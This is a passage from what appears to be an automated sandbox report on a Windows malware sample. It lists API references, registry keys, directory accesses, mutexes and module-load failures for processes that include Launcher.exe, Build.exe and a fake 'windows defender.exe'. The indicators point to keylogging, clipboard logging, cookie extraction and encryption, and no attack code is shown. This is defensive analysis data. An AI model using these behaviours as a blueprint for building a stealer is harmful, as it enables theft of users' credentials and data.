"00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "CopyFileA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "lstrcpynA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "lstrlenA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "lstrcatA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "DrawTextA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "FillRect"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "GetClientRect"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "BeginPaint"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "DefWindowProcA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "SendMessageA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "InvalidateRect"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "EnableWindow"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "LoadImageA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "SetWindowLongA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "IsWindow"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "FindWindowExA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "SendMessageTimeoutA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "wsprintfA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "PostQuitMessage"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "SetWindowTextA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "SetTimer"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "DestroyWindow"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "ExitWindowsEx"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "CharNextA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "GetClassInfoA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "CreateWindowExA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "SystemParametersInfoA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "RegisterClassA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "ScreenToClient"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "SetClassLongA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "IsWindowEnabled"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "GetSysColor"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "GetWindowLongA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "SetCursor"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "LoadCursorA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "LoadBitmapA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "CallWindowProcA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "IsWindowVisible"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "CloseClipboard"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "SetClipboardData"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "EmptyClipboard"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "OpenClipboard"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "TrackPopupMenu"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "AppendMenuA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "CreatePopupMenu"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "CharPrevA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "DispatchMessageA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "PeekMessageA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "SelectObject"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "CreateFontIndirectA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "DeleteObject"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "GetDeviceCaps"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "SHFileOperationA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "ShellExecuteA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "SHGetFileInfoA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "SHBrowseForFolderA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "SHGetPathFromIDListA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "SHGetSpecialFolderLocation"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "RegEnumValueA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteKeyA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "OleUninitialize"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "OleInitialize"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API (Indicator: "SeShutdownPrivilege"; Source: "00000000-00005868.00000000.154394.00409000.00000004.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00005868.00000000.154394.00409000.00000004.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueA"; Source: "00000000-00005868.00000000.154394.00409000.00000004.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00005868.00000000.154394.00409000.00000004.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceExA"; Source: "00000000-00005868.00000000.154394.00409000.00000004.mdmp") Found reference to API (Indicator: "MoveFileExA"; Source: "00000000-00005868.00000000.154394.00409000.00000004.mdmp") Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00005992.00000001.156379.03A20000.00000004.mdmp") Found reference to API (Indicator: "CryptEncrypt"; Source: "00000000-00006308.00000000.154569.028D0000.00000004.mdmp") Found reference to API (Indicator: "CryptImportKey"; Source: "00000000-00006308.00000000.154569.028D0000.00000004.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to API (Indicator: "SetWindowsHookEx"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to API (Indicator: "UnhookWindowsHookEx"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to API (Indicator: "CallNextHookEx"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to API (Indicator: "GetModuleHandle"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to API (Indicator: "GetForegroundWindow"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to API (Indicator: "GetWindowThreadProcessId"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to API (Indicator: "GetKeyState"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to API (Indicator: "GetKeyboardState"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to API (Indicator: "GetKeyboardLayout"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to API (Indicator: "ToUnicodeEx"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to API (Indicator: "MapVirtualKey"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to API (Indicator: "GetLastInputInfo"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to API (Indicator: "GetWindowText"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to API (Indicator: "SetThreadExecutionState"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to API (Indicator: "CreateMutex"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to API (Indicator: "SetParent"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to API (Indicator: "CreateDirectory"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to API (Indicator: "CompareString"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to API (Indicator: "GetTempPath"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to API (Indicator: "GetTempFileName"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to API (Indicator: "GetProcessById"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to API (Indicator: "RtlSetProcessIsCritical"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to API (Indicator: "CryptExportKey"; Source: "00000000-00006668.00000000.154539.029D0000.00000004.mdmp") Found reference to API (Indicator: "GetDeviceCaps"; Source: "00000000-00006668.00000001.156457.1DEA8000.00000004.mdmp") Found reference to API (Indicator: "CryptDecrypt"; Source: "00000000-00007468.00000001.157053.02BA0000.00000004.mdmp")3a:T5cc,Found reference to API "ShellExecuteA" (Indicator: "ShellExecute"; File: "Launcher.exe") Found reference to API "set_UseShellExecute" (Indicator: "ShellExecute"; File: "00000000-00006668.00000000.154539.00512000.00000002.mdmp") Found reference to API "ShellExecuteA" (Indicator: "ShellExecute"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API "yncShellExecute*" (Indicator: "ShellExecute"; Source: "00000000-00005868.00000000.154394.03310000.00000004.mdmp") Found reference to API "yncShellExecute" (Indicator: "ShellExecute"; Source: "00000000-00005868.00000000.154394.03310000.00000004.mdmp") Found reference to API "" (Indicator: "WinExec"; Source: "00000000-00005868.00000000.154394.03310000.00000004.mdmp") Found reference to API "7489164006,5928,3189,,ShellExecuteA,Shell32.dll,"00:40:10.656",RX=0,PX=0" (Indicator: "ShellExecute"; Source: "00000000-00005868.00000000.154394.03310000.00000004.mdmp") Found reference to API "" (Indicator: "WinExec"; Source: "00000000-00005992.00000000.154460.03A20000.00000004.mdmp, 00000000-00005992.00000001.156379.03A20000.00000004.mdmp, 00000000-00005992.00000002.158297.03A20000.00000004.mdmp") Found reference to API "set_UseShellExecute" (Indicator: "ShellExecute"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp")3b:T1985,"Software\Microsoft\Windows\CurrentVersion" in Source: Launcher.exe "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 65500-149-001BD560 "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 65500-182-001B8190 "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 65500-182-001B8190 "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 65500-182-001B8190 "SOFTWARE\Microsoft\PowerShell\3" in Source: 65500-184-001BBFA2 "SOFTWARE\Microsoft\PowerShell" in Source: 65500-195-001B8AF0 "Software\Microsoft\Windows\CurrentVersion" in Source: 00000000-00005868.00000000.154394.00409000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3" in Source: 00000000-00005868.00000000.154394.03310000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2" in Source: 00000000-00005868.00000000.154394.03310000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00005868.00000000.154394.03310000.00000004.mdmp "stry\Machine\Software\Classes\Applications\%1.exe" in Source: 00000000-00005868.00000000.154394.03310000.00000004.mdmp "\REGISTRY\MACHINE\Software\Microsoft\WindowsRuntime" in Source: 00000000-00005992.00000001.156379.03A20000.00000004.mdmp 00000000-00005992.00000002.158297.03A20000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005992.00000001.156379.03A20000.00000004.mdmp 00000000-00005992.00000002.158297.03A20000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{FAE3D380-FEA4-4623-8C75-C6B61110B681}\" in Source: 00000000-00005992.00000001.156379.03A20000.00000004.mdmp 00000000-00005992.00000002.158297.03A20000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005992.00000001.156379.03A20000.00000004.mdmp 00000000-00005992.00000002.158297.03A20000.00000004.mdmp "Y\MACHINE\Software\Microsoft\Str" in Source: 00000000-00006308.00000000.154569.028D0000.00000004.mdmp "\Registry\Machine\Software\Classes\C" in Source: 00000000-00006308.00000001.156488.1D7D0000.00000004.mdmp "Win32Registry|System\CurrentControlSet\Servi-(" in Source: 00000000-00006308.00000001.156488.1D7D0000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\Class\{4D36E968-E325-11CE-BFC" in Source: 00000000-00006308.00000001.156488.1D7D0000.00000004.mdmp "Win32Registry|System\CurrentControlSet\Services\Class\" in Source: 00000000-00006308.00000001.156488.1D7D0000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000" in Source: 00000000-00006308.00000001.156488.1D7D0000.00000004.mdmp "Read?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00006308.00000001.156488.46B30000.00000004.mdmp "Read3HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00006308.00000001.156488.46B30000.00000004.mdmp "e\Software\C" in Source: 00000000-00006668.00000001.156457.029D0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}" in Source: 00000000-00006668.00000001.156457.029D0000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00006668.00000001.156457.1DE10000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00006668.00000001.156457.1DE10000.00000004.mdmp "Registry\Machine\Software\Classes\WOW6432Node\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}" in Source: 00000000-00006668.00000001.156457.1DE10000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}" in Source: 00000000-00006668.00000001.156457.1DE10000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\PriorityControl|Win32PrioritySeparati" in Source: 00000000-00006668.00000001.156457.1DE10000.00000004.mdmp "\Software\CI" in Source: 00000000-00006668.00000001.156457.1DEA8000.00000004.mdmp "istry\Machine\Software\Clasq" in Source: 00000000-00006668.00000001.156457.1DEA8000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! ProductId" in Source: 00000000-00006668.00000001.156457.1DEA8000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! VersionNumber" in Source: 00000000-00006668.00000001.156457.1DEA8000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|RegisteredOwner" in Source: 00000000-00006668.00000001.156457.1DEA8000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|ProductId" in Source: 00000000-00006668.00000001.156457.1DEA8000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows\CurrentVersion|RegisteredOrganization" in Source: 00000000-00006668.00000001.156457.1DEA8000.00000004.mdmp "Win32Registry|System\CurrentControlSet\Servi" in Source: 00000000-00006668.00000001.156457.1DEA8000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000" in Source: 00000000-00006668.00000001.156457.1DEA8000.00000004.mdmp "2Registry|SYSTEM\CurrentControlSet\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000" in Source: 00000000-00006668.00000001.156457.1DEA8000.00000004.mdmp "Win32Registry|System\CurrentControlSet\Services\Class\" in Source: 00000000-00006668.00000001.156457.1DEA8000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\Class\{4D36E968-E325-11CE-BFC1-08" in Source: 00000000-00006668.00000001.156457.1DEA8000.00000004.mdmp "\Software\WOW6432Node\Microsoft\StrongName\RevokedKeys" in Source: 00000000-00007364.00000000.154601.036D0000.00000004.mdmp 00000000-00007364.00000002.157710.036D0000.00000004.mdmp "Win32Registry|System\CurrentControlSet\Services\Class\" in Source: 00000000-00007364.00000001.156522.1E4A0000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000" in Source: 00000000-00007364.00000001.156522.1E4A0000.00000004.mdmp "Read?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00007364.00000002.157710.46B30000.00000004.mdmp "Read3HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00007364.00000002.157710.46B30000.00000004.mdmp3c:T684,"Launcher.exe" with parameter %TEMP%\ (UID: 00000000-00007048) "Launcher.exe" with parameter C:\Users (UID: 00000000-00007048) "Launcher.exe" with parameter C:\Users\%OSUSER% (UID: 00000000-00007048) "Launcher.exe" with parameter %USERPROFILE%\AppData (UID: 00000000-00007048) "Launcher.exe" with parameter %USERPROFILE%\AppData\Local (UID: 00000000-00007048) "Launcher.exe" with parameter %LOCALAPPDATA%\Temp (UID: 00000000-00007048) "Launcher.exe" with parameter %TEMP%\ (UID: 00000000-00005868) "Launcher.exe" with parameter C:\Users (UID: 00000000-00005868) "Launcher.exe" with parameter C:\Users\%OSUSER% (UID: 00000000-00005868) "Launcher.exe" with parameter %USERPROFILE%\AppData (UID: 00000000-00005868) "Launcher.exe" with parameter %USERPROFILE%\AppData\Local (UID: 00000000-00005868) "Launcher.exe" with parameter %LOCALAPPDATA%\Temp (UID: 00000000-00005868) "Build.exe" with parameter %TEMP%\ZeroTrace_5ff9e131 (UID: 00000000-00005992) "Build.exe" with parameter %TEMP%\ZeroTrace_5ff9e131\Screenshots (UID: 00000000-00005992) "Build.exe" with parameter %TEMP%\ZeroTrace_5ff9e131\Documents (UID: 00000000-00005992) "Build.exe" with parameter %TEMP%\CookieExtractor_b22e4547 (UID: 00000000-00005992) "windows defender.exe" with parameter %APPDATA%\7n5rJCiEX08cdKRQsT6vxkbuaZ (UID: 00000000-00006308) "windows defender.exe" with parameter %LOCALAPPDATA%\5059e175c69532982c361ef2eff5467a (UID: 00000000-00006308) "windows defender.exe" with parameter %LOCALAPPDATA%\5059e175c69532982c361ef2eff5467a\logs\clipboard\2025-09-17 (UID: 00000000-00006308) "explorer.exe" with parameter %APPDATA%\7n5rJCiEX08cdKRQsT6vxkbuaZ (UID: 00000000-00007364)3d:T750,Process Launcher.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7048:168:WilStaging_02" Process Launcher.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7048:64:WilError_01" Process Launcher.exe created mutex with name "\BaseNamedObjects\SyncRootManager" Process Launcher.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7048:64:WilError_01" Process Launcher.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process Launcher.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process Launcher.exe created mutex with name "Local\SM0:7048:168:WilStaging_02" Process Launcher.exe created mutex with name "Local\SM0:7048:64:WilError_01" Process Launcher.exe created mutex with name "SM0:7048:64:WilError_01" Process Launcher.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process Launcher.exe created mutex with name "Local\ZonesCacheCounterMutex" Process Launcher.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:5868:168:WilStaging_02" Process Launcher.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:5868:64:WilError_01" Process Launcher.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:5868:64:WilError_01" Process Launcher.exe created mutex with name "Local\SM0:5868:64:WilError_01" Process Launcher.exe created mutex with name "Local\SM0:5868:168:WilStaging_02" Process Launcher.exe created mutex with name "SM0:5868:64:WilError_01" Process Build.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:5992:168:WilStaging_02" Process Build.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:5992:64:WilError_01" Process Build.exe created mutex with name "\Sessions\1\BaseNamedObjects\Global\RasPbFile"3e:T1b18,"Build.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "Build.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "Build.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "Build.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "Build.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "Build.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "Build.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135] "Build.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "Build.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "Build.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "Build.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "System Properties.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; 